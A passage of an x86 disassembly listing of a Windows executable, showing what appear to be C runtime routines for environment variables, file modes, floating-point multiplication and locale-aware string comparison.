; sub_41F297+79j
pop edi
pop esi
pop ebp
retn
sub_41F297 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41F3C4 proc near ; CODE XREF: sub_41F297+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_4383E8
cmp dword_43836C, edx
push esi
mov eax, offset dword_438368
jz short loc_41F3F2
lea esi, [ecx+ecx*2]
lea esi, ds:438368h[esi*4]
loc_41F3E6: ; CODE XREF: sub_41F3C4+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_41F3F2
cmp [eax+4], edx
jnz short loc_41F3E6
loc_41F3F2: ; CODE XREF: sub_41F3C4+16j
; sub_41F3C4+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:438368h[ecx*4]
cmp eax, ecx
jnb short loc_41F406
cmp [eax+4], edx
jz short locret_41F408
loc_41F406: ; CODE XREF: sub_41F3C4+3Bj
xor eax, eax
locret_41F408: ; CODE XREF: sub_41F3C4+40j
retn
sub_41F3C4 endp
; =============== S U B R O U T I N E =======================================
sub_41F409 proc near ; CODE XREF: sub_41E162+23p
arg_0 = dword ptr 4
cmp dword_46AB28, 0
push ebx
push esi
mov esi, dword_4694DC
push edi
jz short loc_41F480
test esi, esi
jnz short loc_41F43A
cmp dword_4694E4, esi
jz short loc_41F480
call sub_41F7D7
test eax, eax
jnz short loc_41F480
mov esi, dword_4694DC
test esi, esi
jz short loc_41F480
loc_41F43A: ; CODE XREF: sub_41F409+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_41F480
push ebx
call sub_415CF0
pop ecx
mov edi, eax
loc_41F44B: ; CODE XREF: sub_41F409+6Dj
mov eax, [esi]
test eax, eax
jz short loc_41F480
push eax
call sub_415CF0
cmp eax, edi
pop ecx
jbe short loc_41F473
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_41F473
push edi
push ebx
push eax
call sub_41F798
add esp, 0Ch
test eax, eax
jz short loc_41F478
loc_41F473: ; CODE XREF: sub_41F409+51j
; sub_41F409+59j
add esi, 4
jmp short loc_41F44B
; ---------------------------------------------------------------------------
loc_41F478: ; CODE XREF: sub_41F409+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_41F482
; ---------------------------------------------------------------------------
loc_41F480: ; CODE XREF: sub_41F409+10j
; sub_41F409+1Cj ...
xor eax, eax
loc_41F482: ; CODE XREF: sub_41F409+75j
pop edi
pop esi
pop ebx
retn
sub_41F409 endp
; =============== S U B R O U T I N E =======================================
sub_41F486 proc near ; CODE XREF: sub_41E84C+8Bp
; sub_41E84C+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_46A8E0
jnb short loc_41F4ED
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_46A7E0[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_41F4ED
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_41F4C6
and cl, 7Fh
jmp short loc_41F4D3
; ---------------------------------------------------------------------------
loc_41F4C6: ; CODE XREF: sub_41F486+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_41F4E1
or cl, 80h
loc_41F4D3: ; CODE XREF: sub_41F486+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F4E1: ; CODE XREF: sub_41F486+48j
mov dword_4694B4, 16h
jmp short loc_41F4F7
; ---------------------------------------------------------------------------
loc_41F4ED: ; CODE XREF: sub_41F486+Bj
; sub_41F486+27j
mov dword_4694B4, 9
loc_41F4F7: ; CODE XREF: sub_41F486+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F486 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F4FC proc near ; CODE XREF: sub_41F004+165p
; sub_41F71C+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_41F6FC
cmp cx, 7FFFh
jnb loc_41F6FC
cmp dx, 0BFFDh
ja loc_41F6FC
cmp dx, 3FBFh
ja short loc_41F565
xor eax, eax
jmp short loc_41F59F
; ---------------------------------------------------------------------------
loc_41F565: ; CODE XREF: sub_41F4FC+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_41F587
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_41F587
xor eax, eax
cmp [esi+4], eax
jnz short loc_41F589
cmp [esi], eax
jnz short loc_41F589
jmp loc_41F6F6
; ---------------------------------------------------------------------------
loc_41F587: ; CODE XREF: sub_41F4FC+71j
; sub_41F4FC+79j
xor eax, eax
loc_41F589: ; CODE XREF: sub_41F4FC+80j
; sub_41F4FC+84j
cmp cx, ax
jnz short loc_41F5AC
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_41F5AC
cmp [ebx+4], eax
jnz short loc_41F5AC
cmp [ebx], eax
jnz short loc_41F5AC
loc_41F59F: ; CODE XREF: sub_41F4FC+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_41F717
; ---------------------------------------------------------------------------
loc_41F5AC: ; CODE XREF: sub_41F4FC+90j
; sub_41F4FC+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_41F5BC: ; CODE XREF: sub_41F4FC+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_41F610
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_41F5D8: ; CODE XREF: sub_41F4FC+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_41E992
add esp, 0Ch
test eax, eax
jz short loc_41F603
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_41F603: ; CODE XREF: sub_41F4FC+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_41F5D8
loc_41F610: ; CODE XREF: sub_41F4FC+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_41F5BC
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_41F653
loc_41F62E: ; CODE XREF: sub_41F4FC+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_41F64C
lea eax, [ebp+var_24]
push eax
call sub_41EA11
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_41F62E
loc_41F64C: ; CODE XREF: sub_41F4FC+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_41F68C
loc_41F653: ; CODE XREF: sub_41F4FC+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_41F68C
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_41F66C: ; CODE XREF: sub_41F4FC+184j
test byte ptr [ebp+var_24], 1
jz short loc_41F675
inc [ebp+var_14]
loc_41F675: ; CODE XREF: sub_41F4FC+174j
lea eax, [ebp+var_24]
push eax
call sub_41EA3F
dec ebx
pop ecx
jnz short loc_41F66C
cmp [ebp+var_14], 0
jz short loc_41F68C
or byte ptr [ebp+var_24], 1
loc_41F68C: ; CODE XREF: sub_41F4FC+155j
; sub_41F4FC+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_41F6A3
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_41F6D8
loc_41F6A3: ; CODE XREF: sub_41F4FC+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_41F6D5
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_41F6D0
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_41F6CA
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_41F6D8
; ---------------------------------------------------------------------------
loc_41F6CA: ; CODE XREF: sub_41F4FC+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_41F6D8
; ---------------------------------------------------------------------------
loc_41F6D0: ; CODE XREF: sub_41F4FC+1B5j
inc [ebp+var_20+2]
jmp short loc_41F6D8
; ---------------------------------------------------------------------------
loc_41F6D5: ; CODE XREF: sub_41F4FC+1ABj
inc [ebp+var_24+2]
loc_41F6D8: ; CODE XREF: sub_41F4FC+1A5j
; sub_41F4FC+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_41F6FC
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_41F6F6: ; CODE XREF: sub_41F4FC+86j
mov [esi+0Ah], ax
jmp short loc_41F717
; ---------------------------------------------------------------------------
loc_41F6FC: ; CODE XREF: sub_41F4FC+42j
; sub_41F4FC+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_41F717: ; CODE XREF: sub_41F4FC+ABj
; sub_41F4FC+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_41F4FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F71C proc near ; CODE XREF: sub_41EB33+440p
; sub_41F004+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_438860
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_41F795
jge short loc_41F744
mov eax, [ebp+arg_4]
mov ebx, offset dword_4389C0
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_41F744: ; CODE XREF: sub_41F71C+16j
cmp [ebp+arg_8], ecx
jnz short loc_41F74F
mov eax, [ebp+arg_0]
mov [eax], cx
loc_41F74F: ; CODE XREF: sub_41F71C+2Bj
cmp [ebp+arg_4], ecx
jz short loc_41F795
push esi
push edi
loc_41F756: ; CODE XREF: sub_41F71C+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_41F78E
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_41F781
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_41F781: ; CODE XREF: sub_41F71C+57j
push esi
push [ebp+arg_0]
call sub_41F4FC
pop ecx
pop ecx
xor ecx, ecx
loc_41F78E: ; CODE XREF: sub_41F71C+49j
cmp [ebp+arg_4], ecx
jnz short loc_41F756
pop edi
pop esi
loc_41F795: ; CODE XREF: sub_41F71C+14j
; sub_41F71C+36j
pop ebx
leave
retn
sub_41F71C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F798 proc near ; CODE XREF: sub_41F409+5Ep
; sub_41FC49+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_41F7A5
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41F7A5: ; CODE XREF: sub_41F798+7j
push dword_46A8E4
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_46AB04
call sub_41F845
add esp, 1Ch
test eax, eax
jnz short loc_41F7D2
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41F7D2: ; CODE XREF: sub_41F798+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_41F798 endp
; =============== S U B R O U T I N E =======================================
sub_41F7D7 proc near ; CODE XREF: sub_41F409+1Ep
; sub_41FAC2+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4694E4
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_41F838
mov ebx, dword_421138
loc_41F7F0: ; CODE XREF: sub_41F7D7+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx
mov ebp, eax
cmp ebp, edi
jz short loc_41F840
push ebp
call sub_415DC9
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_41F840
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx
test eax, eax
jz short loc_41F840
push edi
push [esp+18h+var_4]
call sub_41FAC2
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_41F7F0
loc_41F838: ; CODE XREF: sub_41F7D7+11j
xor eax, eax
loc_41F83A: ; CODE XREF: sub_41F7D7+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41F840: ; CODE XREF: sub_41F7D7+29j
; sub_41F7D7+38j ...
or eax, 0FFFFFFFFh
jmp short loc_41F83A
sub_41F7D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F845 proc near ; CODE XREF: sub_41F798+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421C20
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_469798, ebx
push 1
pop edi
jnz short loc_41F8B8
push edi
mov eax, offset dword_421870
push eax
push edi
push eax
push ebx
push ebx
call dword_421008
test eax, eax
jz short loc_41F895
mov dword_469798, edi
jmp short loc_41F8B8
; ---------------------------------------------------------------------------
loc_41F895: ; CODE XREF: sub_41F845+46j
push edi
mov eax, offset dword_438FF4
push eax
push edi
push eax
push ebx
push ebx
call dword_42100C
test eax, eax
jz loc_41FAAE
mov dword_469798, 2
loc_41F8B8: ; CODE XREF: sub_41F845+31j
; sub_41F845+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_41F8CF
push esi
push [ebp+arg_8]
call sub_41BF95
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_41F8CF: ; CODE XREF: sub_41F845+78j
cmp [ebp+arg_14], ebx
jle short loc_41F8E4
push [ebp+arg_14]
push [ebp+arg_10]
call sub_41BF95
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_41F8E4: ; CODE XREF: sub_41F845+8Dj
mov eax, dword_469798
cmp eax, 2
jnz short loc_41F909
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_42100C
jmp loc_41FAB0
; ---------------------------------------------------------------------------
loc_41F909: ; CODE XREF: sub_41F845+A7j
cmp eax, edi
jnz loc_41FAAE
cmp [ebp+arg_18], ebx
jnz short loc_41F91E
mov eax, dword_469558
mov [ebp+arg_18], eax
loc_41F91E: ; CODE XREF: sub_41F845+CFj
cmp esi, ebx
jz short loc_41F92B
cmp [ebp+arg_14], ebx
jnz loc_41F9C3
loc_41F92B: ; CODE XREF: sub_41F845+DBj
cmp esi, [ebp+arg_14]
jnz short loc_41F938
loc_41F930: ; CODE XREF: sub_41F845+13Cj
; sub_41F845+16Dj
push 2
loc_41F932: ; CODE XREF: sub_41F845+146j
pop eax
jmp loc_41FAB0
; ---------------------------------------------------------------------------
loc_41F938: ; CODE XREF: sub_41F845+E9j
cmp [ebp+arg_14], edi
jle short loc_41F944
loc_41F93D: ; CODE XREF: sub_41F845+151j
; sub_41F845+159j ...
mov eax, edi
jmp loc_41FAB0
; ---------------------------------------------------------------------------
loc_41F944: ; CODE XREF: sub_41F845+F6j
cmp esi, edi
jg short loc_41F989
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call dword_421194
test eax, eax
jz loc_41FAAE
cmp esi, ebx
jle short loc_41F98D
cmp [ebp+var_3C], 2
jb short loc_41F989
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_41F989
loc_41F96F: ; CODE XREF: sub_41F845+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_41F989
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_41F983
cmp cl, dl
jbe short loc_41F930
loc_41F983: ; CODE XREF: sub_41F845+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_41F96F
loc_41F989: ; CODE XREF: sub_41F845+101j
; sub_41F845+120j ...
push 3
jmp short loc_41F932
; ---------------------------------------------------------------------------
loc_41F98D: ; CODE XREF: sub_41F845+11Aj
cmp [ebp+arg_14], ebx
jle short loc_41F9C3
cmp [ebp+var_3C], 2
jb short loc_41F93D
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_41F93D
loc_41F9A0: ; CODE XREF: sub_41F845+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_41F93D
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_41F9B8
cmp cl, dl
jbe loc_41F930
loc_41F9B8: ; CODE XREF: sub_41F845+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_41F9A0
jmp loc_41F93D
; ---------------------------------------------------------------------------
loc_41F9C3: ; CODE XREF: sub_41F845+E0j
; sub_41F845+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call dword_421064
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_41FAAE
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_415D70
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41FA12
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_41FA12: ; CODE XREF: sub_41F845+1B5j
cmp [ebp+var_24], ebx
jz loc_41FAAE
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_421064
call esi
test eax, eax
jz short loc_41FAAE
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_41FAAE
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_415D70
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41FA7D
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_41FA7D: ; CODE XREF: sub_41F845+224j
cmp edi, ebx
jz short loc_41FAAE
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call dword_421064
test eax, eax
jz short loc_41FAAE
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421008
jmp short loc_41FAB0
; ---------------------------------------------------------------------------
loc_41FAAE: ; CODE XREF: sub_41F845+63j
; sub_41F845+C6j ...
xor eax, eax
loc_41FAB0: ; CODE XREF: sub_41F845+BFj
; sub_41F845+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41F845 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FAC2 proc near ; CODE XREF: sub_41F7D7+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_41FB26
push 3Dh
push [ebp+arg_0]
call sub_41FD08
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_41FB26
cmp [ebp+arg_0], esi
jz short loc_41FB26
mov eax, dword_4694DC
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4694E0
jnz short loc_41FB0C
push eax
call sub_41FCA1
pop ecx
mov dword_4694DC, eax
loc_41FB0C: ; CODE XREF: sub_41FAC2+3Cj
cmp eax, edi
jnz short loc_41FB64
cmp [ebp+arg_4], edi
jz short loc_41FB2E
cmp dword_4694E4, edi
jz short loc_41FB2E
call sub_41F7D7
test eax, eax
jz short loc_41FB64
loc_41FB26: ; CODE XREF: sub_41FAC2+Dj
; sub_41FAC2+22j ...
or eax, 0FFFFFFFFh
loc_41FB29: ; CODE XREF: sub_41FAC2+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41FB2E: ; CODE XREF: sub_41FAC2+51j
; sub_41FAC2+59j
cmp ebx, edi
jnz loc_41FC42
push 4
call sub_415DC9
cmp eax, edi
pop ecx
mov dword_4694DC, eax
jz short loc_41FB26
mov [eax], edi
cmp dword_4694E4, edi
jnz short loc_41FB64
push 4
call sub_415DC9
cmp eax, edi
pop ecx
mov dword_4694E4, eax
jz short loc_41FB26
mov [eax], edi
loc_41FB64: ; CODE XREF: sub_41FAC2+4Cj
; sub_41FAC2+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4694DC
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_41FC49
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_41FBC4
cmp dword ptr [edi], 0
jz short loc_41FBC4
test ebx, ebx
jz short loc_41FBBC
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_415E3D
pop ecx
loc_41FB96: ; CODE XREF: sub_41FAC2+E2j
cmp dword ptr [edi], 0
jz short loc_41FBA6
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_41FB96
; ---------------------------------------------------------------------------
loc_41FBA6: ; CODE XREF: sub_41FAC2+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_4174DF
pop ecx
test eax, eax
pop ecx
jz short loc_41FBF6
jmp short loc_41FBF1
; ---------------------------------------------------------------------------
loc_41FBBC: ; CODE XREF: sub_41FAC2+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_41FBF6
; ---------------------------------------------------------------------------
loc_41FBC4: ; CODE XREF: sub_41FAC2+BDj
; sub_41FAC2+C2j
test ebx, ebx
jnz short loc_41FC42
test esi, esi
jge short loc_41FBCE
neg esi
loc_41FBCE: ; CODE XREF: sub_41FAC2+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_4174DF
pop ecx
test eax, eax
pop ecx
jz loc_41FB26
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_41FBF1: ; CODE XREF: sub_41FAC2+F8j
mov dword_4694DC, eax
loc_41FBF6: ; CODE XREF: sub_41FAC2+F6j
; sub_41FAC2+100j
cmp [ebp+arg_4], 0
jz short loc_41FC42
push [ebp+arg_0]
call sub_415CF0
inc eax
inc eax
push eax
call sub_415DC9
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_41FC42
push [ebp+arg_0]
push esi
call sub_415C00
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call dword_421004
push esi
call sub_415E3D
pop ecx
loc_41FC42: ; CODE XREF: sub_41FAC2+6Ej
; sub_41FAC2+104j ...
xor eax, eax
jmp loc_41FB29
sub_41FAC2 endp
; =============== S U B R O U T I N E =======================================
sub_41FC49 proc near ; CODE XREF: sub_41FAC2+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4694DC
push edi
mov eax, [esi]
test eax, eax
jz short loc_41FC84
mov edi, [esp+8+arg_4]
loc_41FC5B: ; CODE XREF: sub_41FC49+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_41F798
add esp, 0Ch
test eax, eax
jnz short loc_41FC7A
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_41FC94
test al, al
jz short loc_41FC94
loc_41FC7A: ; CODE XREF: sub_41FC49+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_41FC5B
loc_41FC84: ; CODE XREF: sub_41FC49+Cj
mov eax, esi
sub eax, dword_4694DC
sar eax, 2
neg eax
loc_41FC91: ; CODE XREF: sub_41FC49+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FC94: ; CODE XREF: sub_41FC49+2Bj
; sub_41FC49+2Fj
mov eax, esi
sub eax, dword_4694DC
sar eax, 2
jmp short loc_41FC91
sub_41FC49 endp
; =============== S U B R O U T I N E =======================================
sub_41FCA1 proc near ; CODE XREF: sub_41FAC2+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_41FCB0
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_41FCB0: ; CODE XREF: sub_41FCA1+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_41FCC2
loc_41FCB8: ; CODE XREF: sub_41FCA1+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_41FCB8
loc_41FCC2: ; CODE XREF: sub_41FCA1+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_415DC9
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_41FCE3
push 9
call sub_417BEE
pop ecx
loc_41FCE3: ; CODE XREF: sub_41FCA1+38j
mov eax, [edi]
mov ebx, edi
loc_41FCE7: ; CODE XREF: sub_41FCA1+5Bj
test eax, eax
jz short loc_41FCFE
push eax
add ebx, 4
call sub_41FD7B
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_41FCE7
; ---------------------------------------------------------------------------
loc_41FCFE: ; CODE XREF: sub_41FCA1+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_41FCA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FD08 proc near ; CODE XREF: sub_41FAC2+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_46A8FC, 0
jnz short loc_41FD23
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417080
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FD23: ; CODE XREF: sub_41FD08+Aj
mov ecx, [ebp+arg_0]
loc_41FD26: ; CODE XREF: sub_41FD08+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_41FD69
movzx edx, al
test byte_46AA01[edx], 4
jz short loc_41FD55
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_41FD60
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_41FD64
jmp short loc_41FD5D
; ---------------------------------------------------------------------------
loc_41FD55: ; CODE XREF: sub_41FD08+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_41FD69
loc_41FD5D: ; CODE XREF: sub_41FD08+4Bj
inc ecx
jmp short loc_41FD26
; ---------------------------------------------------------------------------
loc_41FD60: ; CODE XREF: sub_41FD08+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FD64: ; CODE XREF: sub_41FD08+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
